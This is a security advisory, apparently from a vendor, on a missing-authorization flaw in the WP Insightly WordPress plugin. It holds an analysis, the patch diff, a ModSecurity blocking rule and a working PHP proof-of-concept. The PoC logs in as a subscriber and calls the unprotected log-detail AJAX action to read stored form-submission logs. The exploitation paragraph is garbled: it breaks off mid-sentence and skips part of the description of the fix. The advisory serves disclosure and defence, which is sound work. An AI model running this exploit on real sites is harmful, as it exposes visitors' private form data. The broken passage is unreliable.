Atomic Edge analysis of CVE-2026-32527:
This vulnerability is a Missing Authorization (CWE-862) flaw in the WP Insightly plugin for WordPress, affecting versions up to and including 1.1.5. The vulnerability allows authenticated attackers with Subscriber-level access or higher to perform unauthorized actions, specifically viewing detailed log entries. The CVSS score of 4.3 reflects a medium severity impact.
The root cause is a missing capability check and missing nonce verification in the `log_detail()` function within the `cf7-insightly/includes/plugin-pages.php` file. The vulnerable function at line 1414 did not verify if the requesting user possessed the required `_read_logs` capability before processing the request. It also lacked a check for a valid AJAX nonce, making it accessible via the WordPress AJAX handler without proper authorization.
Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `vxcf_insightly_log_detail`. The request must include the `id` parameter specifying the target log entry identifier. No nonce is required in versions id.’_read_logs’))` that ensures only users with the `vxcf_insightly_read_logs` capability can access the function. Third, the patch updates the plugin version to 1.1.6 in multiple locations. These changes restrict log detail access to authorized administrators only.
Successful exploitation allows low-privileged authenticated users to access detailed plugin log entries. These logs likely contain sensitive submission data from integrated forms (Contact Form 7, WPForms, etc.) and potentially CRM integration details. This constitutes unauthorized information disclosure and violates the principle of least privilege. While not a direct privilege escalation, it enables data exposure beyond intended permissions.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/cf7-insightly/cf7-insightly.php
+++ b/cf7-insightly/cf7-insightly.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: WP Contact Form Insightly
* Description: Integrates Contact Form 7, Ninja Forms, <a href="https://wordpress.org/plugins/contact-form-entries/">Contact Form Entries Plugin</a> and many other forms with Insightly allowing form submissions to be automatically sent to your Insightly account
-* Version: 1.1.5
+* Version: 1.1.6
* Requires at least: 3.8
* Author URI: https://www.crmperks.com
* Plugin URI: https://www.crmperks.com/plugins/contact-form-plugins/contact-form-insightly-plugin/
@@ -24,7 +24,7 @@
public $crm_name = "insightly";
public $id = "vxcf_insightly";
public $domain = "vxcf-insightly";
- public $version = "1.1.5";
+ public $version = "1.1.6";
public $update_id = "6000001";
public $min_cf_version = "1.0";
public $type = "vxcf_insightly";
@@ -118,18 +118,7 @@
add_action('init', array($this,'init'));
//loading translations
load_plugin_textdomain('contact-form-insightly-crm', FALSE, $this->plugin_dir_name(). '/languages/' );
-
- self::$db_version=get_option($this->type."_version");
- if(self::$db_version != $this->version && current_user_can( 'manage_options' )){
- $data=$this->get_data_object();
- $data->update_table();
- update_option($this->type."_version", $this->version);
- //add post permissions
- require_once(self::$path . "includes/install.php");
- $install=new vxcf_insightly_install();
- $install->create_roles();
-
- }
+$this->maybe_install(true);
}
}
@@ -149,6 +138,27 @@
self::$plugin->instance();
}
} }
+public function maybe_install($version_check=false){
+
+ if(current_user_can( 'manage_options' )){
+ self::$db_version=get_option($this->type."_version");
+ $do_install=false;
+ if($version_check == false){
+ $do_install=true;
+ }else if(self::$db_version != $this->version){
+ $do_install=true;
+ }
+ if($do_install){
+ $data=$this->get_data_object();
+ $data->update_table();
+ update_option($this->type."_version", $this->version);
+ //add post permissions
+ require_once(self::$path . "includes/install.php");
+ $install=new vxcf_insightly_install();
+ $install->create_roles();
+ }
+ }
+}
public function form_submitted($form){
@@ -508,29 +518,6 @@
echo wp_kses_post($message) ;
echo '</p></div>';
}
-
-
- /**
- * create tables and roles
- *
- */
- public function install(){
-
- if(current_user_can( 'manage_options' )){
- self::$db_version=get_option($this->type."_version");
- if(self::$db_version != $this->version){
- $data=$this->get_data_object();
- $data->update_table();
- update_option($this->type."_version", $this->version);
- //add post permissions
- require_once(self::$path . "includes/install.php");
- $install=new vxcf_insightly_install();
- $install->create_roles();
-
- }
-
- }
- }
/**
* Contact Form status
*
@@ -1275,6 +1262,7 @@
*/
public function activate(){
$this->plugin_api(true);
+$this->maybe_install();
do_action('plugin_status_'.$this->type,'activate');
}
/**
--- a/cf7-insightly/includes/plugin-pages.php
+++ b/cf7-insightly/includes/plugin-pages.php
@@ -1414,6 +1414,11 @@
*
*/
public function log_detail(){
+ check_ajax_referer('vx_crm_ajax','vx_crm_ajax');
+ if(!current_user_can($this->id.'_read_logs')){
+ esc_html_e('You do not have permissions to access this page','cf7-insightly');
+ return;
+ }
$log_id=$this->post('id');
$log=$this->data->get_log_by_id($log_id);
$data=json_decode($log['data'],true);
--- a/cf7-insightly/templates/logs.php
+++ b/cf7-insightly/templates/logs.php
@@ -273,7 +273,7 @@
<input type="text" class="vxc_date crm_input_inline" value="<?php if(isset($_REQUEST['end_date'])){echo esc_attr($_REQUEST['end_date']);}?>" placeholder="<?php esc_html_e('To Date','contact-form-insightly-crm') ?>" name="end_date" style="width: 100px">
</span>
- <button type="submit" title="<?php esc_html_e('Search','contact-form-insightly-crm') ?>" name="search" class="button-secondary button crm_input_inline"><i class="fa fa-search"></i> <?php esc_html_e('Search','contact-form-insightly-crm') ?></button>
+ <button type="submit" title="<?php esc_html_e('Search','contact-form-insightly-crm') ?>" name="search_btn" class="button-secondary button crm_input_inline"><i class="fa fa-search"></i> <?php esc_html_e('Search','contact-form-insightly-crm') ?></button>
</div> </form>
<div style="clear: both;"></div>
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-32527
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:100032527,phase:2,deny,status:403,chain,msg:'CVE-2026-32527 via WP Insightly AJAX - Missing Authorization',severity:'CRITICAL',tag:'CVE-2026-32527',tag:'WordPress',tag:'Plugin/WP-Insightly'"
SecRule ARGS_POST:action "@streq vxcf_insightly_log_detail" "chain"
SecRule &ARGS_POST:vx_crm_ajax "@eq 0" "chain"
SecRule ARGS_POST:id "@rx ^[0-9]+$"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32527 - WP Insightly for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms <= 1.1.5 - Missing Authorization
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'subscriber_user';
$password = 'subscriber_password';
// Step 1: Authenticate to WordPress and obtain session cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Exploit the missing authorization to access log details
// The action parameter triggers the vulnerable log_detail() function
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'vxcf_insightly_log_detail',
'id' => '1' // Target log entry ID
]));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Step 3: Analyze the response
if ($http_code == 200 && !empty($response)) {
echo "[+] Exploit successful! Retrieved log data:n";
echo $response . "n";
} else {
echo "[-] Exploit failed. HTTP Code: $http_coden";
echo "Response: $responsen";
}
curl_close($ch);
?>
